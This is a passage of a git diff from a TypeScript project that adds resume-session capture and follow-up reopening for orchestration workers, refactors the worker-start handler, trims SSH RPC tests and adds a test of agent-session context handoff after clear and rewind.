a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts index 2cf644cd5c8..b53c2518278 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts @@ -8,6 +8,7 @@ import { import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' import { releaseUnknownRecovery, type WorkerReleaseReceipt } from './worker-release-completion' import { archiveSummary } from './worker-terminal-resource-presentation' +import { captureWorkerResumeSession } from './worker-resume-session-capture' /** Freeze release output; unverifiable structured sessions finish release_unknown instead of retrying forever as requested. A fresh request may retry. */ export async function captureWorkerReleaseArchive( @@ -17,6 +18,7 @@ export async function captureWorkerReleaseArchive( } ): Promise<{ captured: WorkerOutputArchiveCapture } | { receipt: WorkerReleaseReceipt }> { const { db, resource, ...capture } = args + captureWorkerResumeSession(capture.runtime, db, resource, capture.attachedAtMs) try { return { captured: await captureWorkerOutputArchive(capture) } } catch (error) { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts index 9dd01bbe9c1..fcccbf13f24 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts @@ -112,6 +112,24 @@ export function registerWorkerReleaseArchiveTests(): void { expect(h.runtime.readTerminal).not.toHaveBeenCalled() }) + it('keeps the conversation the agent reports last, so a follow-up can reopen it after release', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + // A /clear after the report moved the agent to a new conversation. + vi.mocked(h.runtime.getExactWorkerProviderSession).mockReturnValue({ + paneKey: 'tab_worker:leaf', + agent: 'claude', + processIncarnation: 'runtime_test:term_worker:1', + providerSession: { key: 'session_id', id: 'after-clear' }, + observedAt: 1 + }) + await h.call('orchestration.workerRelease', { dispatch: dispatchId }) + + expect( + JSON.parse(h.db.getWorkerTerminalResourceByOwner(dispatchId)?.resume_session ?? 'null') + ).toMatchObject({ agent: 'claude', providerSession: { id: 'after-clear' } }) + }) + it('reads an immutable transcript snapshot after the provider file disappears', async () => { h.setup() const directory = await mkdtemp(join(tmpdir(), 'orca-worker-release-snapshot-')) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts index 8c90d8b2da8..d71b7813645 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts @@ -102,7 +102,7 @@ export const ORCHESTRATION_WORKER_RELEASE_METHODS = [ if (!orchestrationMutation) { throw new OrchestrationError( 'invalid_argument', - 'Remote worker-retain requires a durable retry request.' + 'Remote worker-keep-open requires a durable retry request.' ) } db.endFederatedHomeAutoRelease(params.dispatch) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts new file mode 100644 index 00000000000..2b4fc09df56 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts @@ -0,0 +1,59 @@ +import { isStructuredWorkerHandle } from '../../../../../../shared/structured-worker-handle' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + findHeldWorkerResourceForPane, + recordWorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import { orchestrationTimestampToMs } from './worker-output' + +/** Save the terminal agent's conversation while its hook rows still name it: at its report, and before stop or release closes it. */ +export function captureWorkerResumeSession( + runtime: Pick, + db: OrchestrationDb, + resource: Pick, + attachedAtMs: number +): void { + if (isStructuredWorkerHandle(resource.terminal_handle)) { + return + } + recordWorkerResumeSession( + db, + resource.id, + runtime.getExactWorkerProviderSession(resource.terminal_handle, attachedAtMs) + ) +} + +/** The worker_done edge: its Dispatch's resource and attach time, read from the settled rows. */ +export function captureReportedWorkerResumeSession( + runtime: Pick, + db: OrchestrationDb, + dispatchId: string +): void { + const resource = db.getWorkerTerminalResourceByOwner(dispatchId) + const worker = db.getWorkerDispatch(dispatchId) + if (resource && worker) { + captureWorkerResumeSession(runtime, db, resource, orchestrationTimestampToMs(worker.created_at)) + } +} + +/** A `/clear` or resumed session in a worker's pane: keep its newest conversation as it moves. */ +export function watchMovedWorkerResumeSessions( + runtime: Pick, + getDb: () => OrchestrationDb | null +): (sessions: readonly { paneKey: string; sessionId: string }[]) => void { + // Each notification lists every pane; only a pane whose conversation changed needs saving. + let seen = new Map() + return (sessions) => { + const db = getDb() + const moved = sessions.filter(({ paneKey, sessionId }) => seen.get(paneKey) !== sessionId) + seen = new Map(sessions.map(({ paneKey, sessionId }) => [paneKey, sessionId])) + for (const { paneKey } of db ? moved : []) { + const owner = db && findHeldWorkerResourceForPane(db, paneKey)?.owner_dispatch_id + if (db && owner) { + captureReportedWorkerResumeSession(runtime, db, owner) + } + } + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts index 1b322bcae95..980b4d077bd 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts @@ -22,6 +22,7 @@ import { type WorkerSetupReceipt } from './worker-topology' import { createWorkerWorktree, type WorkerWorktreeCreationTarget } from './worker-worktree-creation' +import type { ReopenedWorker, WorkerFollowUp } from './worker-follow-up-placement' /** Name only the two required fields so untyped worktree accessors cannot introduce any into unions. */ type PlacedWorktree = { id: string; repoId: string } @@ -36,6 +37,10 @@ export type WorkerAgentPlacement = { structuredSession: WorkerStructuredSession | null setupReceipt: WorkerSetupReceipt warning?: string + /** Set when a follow-up brought a closed worker back instead of launching one. */ + reopened?: ReopenedWorker + /** Context the fresh agent's Task carries in place of the conversation it could not reopen. */ + extraSpec?: string } type WorkerAgentPlacementArgs = { @@ -56,6 +61,8 @@ type WorkerAgentPlacementArgs = { effects: WorkerEffect[] /** Attributes a throw to the step that was running, the way the caller's own stages do. */ onStage: (stage: string) => void + /** A follow-up continuing a worker; a closed one is brought back in place of a launch. */ + followUp?: WorkerFollowUp | undefined } /** Setup evidence for existing placements and failures before placement creation. */ @@ -87,7 +94,29 @@ export async function placeWorkerAgent( setupReceipt: EXISTING_WORKTREE_SETUP } } - return launchWorkerAgent(args, existing) + const reopened = existing && (await args.followUp?.reopen?.(args.dispatchId)) + if (existing && reopened) { + args.effects.push({ + kind: 'terminal', + role: 'agent', + // Only a resumed tab is Orca's to clean up; a chat keeps its conversation. + action: reopened.chat ? 'reused' : 'created', + id: reopened.handle + }) + return { + mode: args.mode, + worktree: existing, + terminalHandle: reopened.handle, + structuredSession: null, + setupReceipt: EXISTING_WORKTREE_SETUP, + reopened + } + } + const launched = await launchWorkerAgent(args, existing) + // A reopen refused before spawning anything: the fresh agent gets the earlier work instead. + return reopened === null && args.followUp?.earlierWork + ? { ...launched, extraSpec: args.followUp.earlierWork } + : launched } async function launchWorkerAgent( diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts index b1aad80ab62..dd32f52e308 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts @@ -104,7 +104,11 @@ export async function deliverAndSettleWorkerStartReadiness(args: { // A worker report can settle the dispatch while turn observation is outstanding. const currentWorker = db.getWorkerDispatch(args.dispatchId) const alreadySettled = currentWorker && currentWorker.state !== 'starting' - if (turnStart.verdict === 'unobserved' && !alreadySettled) { + // Only Orca's own worker chat queues behind its own turn, so its card is sure to run; a user's chat may drop it. + const queuedOnOwnWorker = + turnStart.queued === true && + db.getWorkerTerminalResourceByOwner(args.dispatchId)?.ownership_state === 'owned' + if (turnStart.verdict === 'unobserved' && !queuedOnOwnWorker && !alreadySettled) { // Keep authority and terminal for recovery reports, but never claim ready for an unobserved turn. effects.push({ kind: 'dispatch_input', @@ -156,7 +160,7 @@ export async function deliverAndSettleWorkerStartReadiness(args: { state: reportedOutcome ? 'ready' : worker.state, stage: worker.stage, ...(reportedOutcome ? { workerOutcome: reportedOutcome } : {}), - turnStart: turnStart.verdict, + turnStart: queuedOnOwnWorker ? 'queued' : turnStart.verdict, setup: args.setupReceipt, launch: args.launchReceipt, mode: args.mode, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts index a9161057302..7b36b4c1767 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts @@ -11,6 +11,8 @@ export type WorkerTurnStartObservation = { prompt?: RuntimeTerminalPromptDelivery /** Why an `unobserved` start is unknown, when the default PTY wording does not fit. */ reason?: string + /** Held as a card in a chat's queue; it runs when the chat's current turn ends. */ + queued?: boolean } function classifyPromptDelivery(prompt: RuntimeTerminalPromptDelivery): WorkerTurnStartVerdict { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts index 3aee793b9fa..562b52f389c 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts @@ -3,6 +3,7 @@ import { captureWorkerOutputArchive } from '../../../../orchestration/worker-out import type { WorkerTerminalReleaseRuntime } from '../../../../orchestration/worker-terminal-release-runtime' import { resolveStructuredWorkerForDispatch } from '../../orchestration-structured-worker-lifecycle' import { orchestrationTimestampToMs } from './worker-output' +import { captureWorkerResumeSession } from './worker-resume-session-capture' import { withTimeout } from '../../../../../../shared/promise-timeout-fallback' // Well inside the 30 s remote stop RPC budget. @@ -20,6 +21,10 @@ export async function archiveWorkerOutputBeforeStop(args: { // Stopping matters more than the copy; on failure or timeout, release reports the archive unavailable. try { const resource = db.getWorkerTerminalResourceByOwner(dispatchId) + const attachedAtMs = orchestrationTimestampToMs(args.attachedAt) + if (resource) { + captureWorkerResumeSession(args.runtime, db, resource, attachedAtMs) + } if ( !resource || resource.ownership_state !== 'owned' || @@ -32,7 +37,7 @@ export async function archiveWorkerOutputBeforeStop(args: { runtime: args.runtime, dispatchId, terminalHandle: args.terminalHandle, - attachedAtMs: orchestrationTimestampToMs(args.attachedAt), + attachedAtMs, structuredWorker: resolveStructuredWorkerForDispatch(db, dispatchId) }), STOP_ARCHIVE_TIMEOUT_MS, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts index c81fd35114a..73de2c04c34 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts @@ -1,7 +1,9 @@ import { OrchestrationError } from '../../../../orchestration/orchestration-error' -import { defineMethod } from '../../../core' +import type { z } from 'zod' +import { defineMethod, type RpcContext } from '../../../core' import { startFederatedWorker } from '../federation/federated-worker-start' import { startLocalWorker } from './local-worker-start' +import type { WorkerFollowUp } from './worker-follow-up-placement' import { withWorkerStartNext } from '../receipt-next' import { decideWorkerStartMode, @@ -20,113 +22,128 @@ import { assertWorkerStartTaskSpecWithinPromptBudget } from './worker-start-prom import { ORCA_SESSION_ADDRESS_PREFIX } from '../../../../../../shared/orca-session-address' import { ORCHESTRATION_SESSION_CALLER_ERROR_CODES as SESSION_CODES } from '../../../../../../shared/orchestration-session-caller-codes' +type WorkerStartContext = Pick< + RpcContext, + 'runtime' | 'orchestrationMutation' | 'orchestrationCompatibilityEvidence' | 'orchestrationCaller' +> + export const ORCHESTRATION_WORKER_START_METHODS = [ defineMethod({ name: 'orchestration.workerStart', requires: ['accounts'], permission: 'workspace', params: WorkerStartParams, - handler: async ( - params, - { runtime, orchestrationMutation, orchestrationCompatibilityEvidence, orchestrationCaller } - ) => { - if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) { - throw new OrchestrationError( - 'invalid_argument', - '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.' - ) - } - if (params.on && params.terminal?.startsWith(ORCA_SESSION_ADDRESS_PREFIX)) { - // Refused here, before any remote call: an Orca session ID names a chat only on its own host. - throw new OrchestrationError( - SESSION_CODES.hostBoundary, - `${params.terminal} names a chat by its Orca session ID, which identifies it only on the host that runs it. Run worker-start on that host. No effects were applied.`, - { effectsApplied: false } - ) - } - const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs) - const db = runtime.getOrchestrationDb() - const coordinator = resolveOrchestrationCaller(runtime, { - callerTerminalHandle: params.from, - callerEvidence: orchestrationCompatibilityEvidence, - callerSession: orchestrationCaller - }) - if (params.spec) { - // Before the Run resolves, so a refused spec cannot leave a new Run bound. - await assertWorkerStartTaskSpecWithinPromptBudget(params.spec) - } - const taskDeps = parseTaskDeps(params.deps) - const { bindRun, helperCreator } = resolveWorkerStartRun(runtime, { - coordinator, - from: params.from, - callerSession: orchestrationCaller, - runId: params.run, - // The Run takes the title its first Task gets. - objective: params.spec - ? buildOrchestrationTaskDisplayMetadata({ - spec: params.spec, - taskTitle: params.taskTitle - }).taskTitle - : undefined, - taskReferences: [...(params.parent ? [params.parent] : []), ...(taskDeps ?? [])] - }) - // Name the Run in every receipt so a reused, stale binding is visible. - const withRun = (receipt: unknown): unknown => { - if (!receipt || typeof receipt !== 'object') { - return receipt - } - const { run, created } = bindRun() - return { ...receipt, run: { id: run.id, objective: run.objective, created } } - } - const existingTask = params.task ? db.getTask(params.task) : undefined - // --task excludes --spec, so this never creates a Run. - if (params.task && (!existingTask || existingTask.run_id !== bindRun().run.id)) { - throw new OrchestrationError( - 'task_not_found', - `Task ${params.task} was not found in Run ${bindRun().run.id}.` - ) - } - if (helperCreator) { - assertHelperStartScope(db, helperCreator, { - task: existingTask, - params - }) - } - if (existingTask) { - await assertWorkerStartTaskSpecWithinPromptBudget(existingTask.spec) - } - const mode = decideWorkerStartMode({ - params, - settings: readWorkerStartModeSettings(runtime) - }) - if (params.on) { - // Remote workers are terminal-only; carry the mode receipt to explain structured-preference fallback. - const receipt = await startFederatedWorker({ - params, - runtime, - db, - bindRunId: () => bindRun().run.id, - task: existingTask, - taskDeps, - orchestrationMutation, - callerSession: orchestrationCaller - }) - return withRun(receipt && typeof receipt === 'object' ? { ...receipt, mode } : receipt) - } - const receipt = await startLocalWorker({ - params: { ...params, timeoutMs: readinessTimeoutMs }, - runtime, - db, - bindRun: () => bindRun().run, - taskDeps, - coordinator, - callerSession: orchestrationCaller, - existingTask, - orchestrationMutation, - mode, - helperCreator - }) - return withRun(withWorkerStartNext(receipt)) - } + handler: async (params, ctx) => startWorker(params, ctx) }) ] + +/** worker-start, and a follow-up sent to a finished worker, which is worker-start run for the sender. */ +export async function startWorker( + params: z.infer, + { + runtime, + orchestrationMutation, + orchestrationCompatibilityEvidence, + orchestrationCaller + }: WorkerStartContext, + followUp?: WorkerFollowUp +): Promise { + if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) { + throw new OrchestrationError( + 'invalid_argument', + '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.' + ) + } + if (params.on && params.terminal?.startsWith(ORCA_SESSION_ADDRESS_PREFIX)) { + // Refused here, before any remote call: an Orca session ID names a chat only on its own host. + throw new OrchestrationError( + SESSION_CODES.hostBoundary, + `${params.terminal} names a chat by its Orca session ID, which identifies it only on the host that runs it. Run worker-start on that host. No effects were applied.`, + { effectsApplied: false } + ) + } + const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs) + const db = runtime.getOrchestrationDb() + const coordinator = resolveOrchestrationCaller(runtime, { + callerTerminalHandle: params.from, + callerEvidence: orchestrationCompatibilityEvidence, + callerSession: orchestrationCaller + }) + if (params.spec) { + // Before the Run resolves, so a refused spec cannot leave a new Run bound. + await assertWorkerStartTaskSpecWithinPromptBudget(params.spec) + } + const taskDeps = parseTaskDeps(params.deps) + const { bindRun, helperCreator } = resolveWorkerStartRun(runtime, { + coordinator, + from: params.from, + callerSession: orchestrationCaller, + runId: params.run, + // The Run takes the title its first Task gets. + objective: params.spec + ? buildOrchestrationTaskDisplayMetadata({ + spec: params.spec, + taskTitle: params.taskTitle + }).taskTitle + : undefined, + taskReferences: [...(params.parent ? [params.parent] : []), ...(taskDeps ?? [])] + }) + // Name the Run in every receipt so a reused, stale binding is visible. + const withRun = (receipt: unknown): unknown => { + if (!receipt || typeof receipt !== 'object') { + return receipt + } + const { run, created } = bindRun() + return { ...receipt, run: { id: run.id, objective: run.objective, created } } + } + const existingTask = params.task ? db.getTask(params.task) : undefined + // --task excludes --spec, so this never creates a Run. + if (params.task && (!existingTask || existingTask.run_id !== bindRun().run.id)) { + throw new OrchestrationError( + 'task_not_found', + `Task ${params.task} was not found in Run ${bindRun().run.id}.` + ) + } + if (helperCreator) { + assertHelperStartScope(db, helperCreator, { + task: existingTask, + params + }) + } + if (existingTask) { + await assertWorkerStartTaskSpecWithinPromptBudget(existingTask.spec) + } + const mode = decideWorkerStartMode({ + params, + settings: readWorkerStartModeSettings(runtime) + }) + if (params.on) { + // Remote workers are terminal-only; carry the mode receipt to explain structured-preference fallback. + const receipt = await startFederatedWorker({ + params, + runtime, + db, + bindRunId: () => bindRun().run.id, + task: existingTask, + taskDeps, + orchestrationMutation, + callerSession: orchestrationCaller + }) + return withRun(receipt && typeof receipt === 'object' ? { ...receipt, mode } : receipt) + } + const receipt = await startLocalWorker({ + params: { ...params, timeoutMs: readinessTimeoutMs }, + runtime, + db, + bindRun: () => bindRun().run, + taskDeps, + coordinator, + callerSession: orchestrationCaller, + existingTask, + orchestrationMutation, + mode, + helperCreator, + followUp + }) + return withRun(withWorkerStartNext(receipt)) +} diff --git a/src/main/runtime/rpc/methods/ssh.test.ts b/src/main/runtime/rpc/methods/ssh.test.ts index f05d88317d7..0897214cb19 100644 --- a/src/main/runtime/rpc/methods/ssh.test.ts +++ b/src/main/runtime/rpc/methods/ssh.test.ts @@ -29,60 +29,6 @@ function makeRequest(method: string, params?: unknown): RpcRequest { } describe('ssh RPC methods', () => { - it('returns the registered SSH target state', async () => { - const state = { - targetId: 'ssh-1', - status: 'connected', - error: null, - reconnectAttempt: 0 - } - getRegisteredSshStateMock.mockReturnValueOnce(state) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.getState', { targetId: 'ssh-1' })) - - expect(getRegisteredSshStateMock).toHaveBeenCalledWith('ssh-1') - expect(response).toMatchObject({ ok: true, result: { state } }) - }) - - it('connects through the registered desktop SSH lifecycle', async () => { - const state = { - targetId: 'ssh-1', - status: 'connected', - error: null, - reconnectAttempt: 0 - } - connectRegisteredSshTargetMock.mockResolvedValueOnce(state) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.connect', { targetId: 'ssh-1' })) - - expect(connectRegisteredSshTargetMock).toHaveBeenCalledWith('ssh-1', { automatic: false }) - expect(response).toMatchObject({ ok: true, result: { state } }) - }) - - it("keeps a paired client's automatic connect from lifting a cancelled sign-in", async () => { - connectRegisteredSshTargetMock.mockResolvedValueOnce(null) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - await dispatcher.dispatch(makeRequest('ssh.connect', { targetId: 'ssh-1', automatic: true })) - - expect(connectRegisteredSshTargetMock).toHaveBeenCalledWith('ssh-1', { automatic: true }) - }) - - it('returns null when the target has no registered state yet', async () => { - getRegisteredSshStateMock.mockReturnValueOnce(undefined) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.getState', { targetId: 'ssh-1' })) - - expect(response).toMatchObject({ ok: true, result: { state: null } }) - }) - it('redacts HUB-private diagnostics from state and connect failures', async () => { const privateMessage = 'identity /Users/hub/.ssh/private via bastion.internal failed' getRegisteredSshStateMock.mockReturnValue({ @@ -152,37 +98,6 @@ describe('ssh RPC methods', () => { expect(JSON.stringify(response)).not.toContain('bastion') }) - it('does not invent a platform before the SSH host has been detected', async () => { - listRegisteredSshTargetsMock.mockReturnValueOnce([{ id: 'ssh-1', label: 'Dev box' }]) - getRegisteredSshStateMock.mockReturnValueOnce(undefined) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.listTargetSummaries')) - - expect(response).toMatchObject({ - ok: true, - result: { targets: [{ id: 'ssh-1', label: 'Dev box' }] } - }) - expect(JSON.stringify(response)).not.toContain('remotePlatform') - }) - - it('reports disconnected lifecycle states without calling them connected', async () => { - listRegisteredSshTargetsMock.mockReturnValueOnce([{ id: 'ssh-1', label: 'Dev box' }]) - getRegisteredSshStateMock.mockReturnValueOnce({ status: 'reconnecting' }) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.listTargetSummaries')) - - expect(response).toMatchObject({ - ok: true, - result: { - targets: [{ id: 'ssh-1', connected: false, connectionStatus: 'reconnecting' }] - } - }) - }) - it('redacts the legacy target response for older clients', async () => { const targets = [ { @@ -209,15 +124,4 @@ describe('ssh RPC methods', () => { expect(JSON.stringify(response)).not.toContain('/secret/key') expect(JSON.stringify(response)).not.toContain('bastion') }) - - it('lists removed-target labels for ghost-host display on paired clients', async () => { - const labels = { 'ssh-old': 'Dev box' } - listRegisteredRemovedSshTargetLabelsMock.mockReturnValueOnce(labels) - const runtime = { getRuntimeId: () => 'test-runtime' } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: SSH_METHODS }) - - const response = await dispatcher.dispatch(makeRequest('ssh.listRemovedTargetLabels')) - - expect(response).toMatchObject({ ok: true, result: { labels } }) - }) }) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts new file mode 100644 index 00000000000..29eb1ab731e --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts @@ -0,0 +1,299 @@ +import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) +import { readFile, rm } from 'node:fs/promises' +import { piRpcDialogPresentation } from '../../../pi/rpc-extension-dialogs' +import { legacyAgentSessionSelectedOptionId } from '../../../../shared/agent-session-question-answer' +import type { + AgentJournalItemBody, + AgentJournalResolution, + AgentJournalQuestionItem +} from '../../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { hostTestMessage } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { REST_TEST_SESSION as SESSION } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import * as fileOperations from 'node:fs/promises' +import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' + +import { + fixture, + actualFiles, + call, + restingChat +} from './structured-agent-session-rest-contract-test-fixture' + +it('hands off the reduced saved chat after clear and rewind, budgets only the starter and overwrites its file', async () => { + await restingChat() + await fixture.rig.host.journalSnapshot(SESSION) + let journal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + const receipt = { write: () => {}, committed: () => {} } + let ordinal = 100 + const append = (text: string | AgentJournalItemBody, itemOrdinal = ordinal++) => + journal.appendItem( + { provider: 'codex', threadId: 'saved-thread', turnId: 'saved-turn', ordinal: itemOrdinal }, + typeof text === 'string' ? hostTestMessage(text) : text, + { + fence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + await append('PRE_CLEAR_SECRET') + await journal.context.clear( + { operationId: 'pr-31782-clear', afterFence: fence, clearedAt: fixture.rig.clock.now }, + receipt + ) + await append('EARLY_SAVED_MARKER') + for (let index = 0; index < 205; index++) { + await append(`saved ${index} ${'context '.repeat(60)}`) + } + const floor = journal.cursor() + await append('DISCARDED_REWIND_SECRET') + await journal.context.rewind(floor, fence, [], () => receipt) + const resolution = ( + state: AgentJournalResolution['state'], + selectedOptionId: string | null = null + ): AgentJournalResolution => ({ state, selectedOptionId, resolvedBy: null, resolvedAt: null }) + const question = (name: string, answer?: string): AgentJournalQuestionItem => ({ + kind: 'question', + question: name, + options: [], + freeTextQuestionId: 'input', + freeTextInput: { allowEmpty: true }, + resolution: { + ...resolution('resolved'), + ...(answer !== undefined + ? { answers: [{ questionId: 'input', optionIds: [], other: answer }] } + : {}) + } + }) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + await append(question(name, value)) + } + await append(question('unreadable')) + await append({ ...question('cancelled ask'), resolution: resolution('cancelled') }) + await append({ + ...question('legacy answer'), + resolution: resolution('resolved', 'input:legacy%20deployment') + }) + await append({ + kind: 'question', + question: 'Release choices', + options: [], + questions: [ + { + id: 'regions', + header: 'Region group', + question: 'Which regions?', + multiSelect: true, + options: [ + { id: 'east', label: 'East', description: 'Primary region' }, + { id: 'west', label: 'West' } + ] + }, + { + id: 'details', + question: 'Release detail?', + multiSelect: true, + options: [{ id: 'known', label: 'Known' }], + freeTextQuestionId: 'details' + } + ], + resolution: { + ...resolution('resolved'), + answers: [ + { questionId: 'regions', optionIds: ['east', 'west'] }, + { questionId: 'details', optionIds: ['known', 'missing'], other: 'partial text' } + ] + } + }) + for (const choice of ['yes', 'no']) { + await append({ + kind: 'approval', + title: `Confirm ${choice}`, + detail: 'Deploy?', + options: [ + { id: 'yes', label: 'Yes' }, + { id: 'no', label: 'No' } + ], + resolution: resolution('resolved', choice) + }) + } + await append({ + kind: 'approval', + title: 'Review plan', + description: 'Saved description', + decisionReason: 'Saved reason', + matchedAskRule: { source: 'workspace', toolName: 'Write', ruleContent: 'Saved ask rule' }, + blockedPath: '/work/target', + detail: 'Clipped detail', + subject: { kind: 'plan', text: 'RETAINED_PLAN_MARKER', filePath: '/work/plan.md' }, + options: [ + { id: 'plan', label: 'Approve plan' }, + { id: 'keep', label: 'Keep planning' } + ], + resolution: resolution('resolved', 'keep') + }) + const editor = piRpcDialogPresentation({ + id: 'editor', + method: 'editor', + title: 'Edit release notes', + prefill: 'RETAINED_EDITOR_MARKER\nHold deployment', + placeholder: 'Keep migration details' + }) + if (editor?.body.kind !== 'question') { + throw new Error('Pi editor missing') + } + const editorOrdinal = ordinal++ + await append(editor.body, editorOrdinal) + const editorParams = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: journal.cursor().epoch, sequence: 0 } + } + const pendingEditor = await fixture.rig.host.continuationContext(editorParams) + if (pendingEditor.status !== 'current' || !pendingEditor.transcriptPath) { + throw new Error('Pending editor snapshot missing') + } + for (const text of [ + await readFile(pendingEditor.transcriptPath, 'utf8'), + pendingEditor.capturedText ?? '' + ]) { + expect(text).toContain( + 'Prompt state: pending\nSaved prompt: {"kind":"question","question":"Edit release notes"' + ) + expect(text).toContain('"initialValue":"RETAINED_EDITOR_MARKER\\nHold deployment"') + expect(text).toContain('"placeholder":"Keep migration details"') + } + const answers = [{ questionId: 'editor', optionIds: [], other: 'REPLACEMENT_EDITOR_ANSWER' }] + const selectedOptionId = legacyAgentSessionSelectedOptionId(editor.body, answers) + await append( + { ...editor.body, resolution: { ...resolution('resolved', selectedOptionId), answers } }, + editorOrdinal + ) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + const snapshot = await fixture.rig.host.journalSnapshot(SESSION) + journal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await append({ ...question('pending ask'), resolution: resolution('pending') }) + const params = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: snapshot.cursor.epoch, sequence: 0 } + } + await call('agentSession.options', { sessionId: SESSION }) + const gate = Promise.withResolvers() + const write = actualFiles.writeFile + const writing = vi.spyOn(fileOperations, 'writeFile').mockImplementationOnce(async (...args) => { + await gate.promise + return write(...args) + }) + const pending = fixture.rig.host.continuationContext(params) + await vi.waitFor(() => expect(writing).toHaveBeenCalledOnce()) + const currentJournal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await currentJournal.appendItem( + { provider: 'orca', clientMessageId: 'pr-31782-late' }, + hostTestMessage('LATER_SAVED_MARKER'), + { + fence: 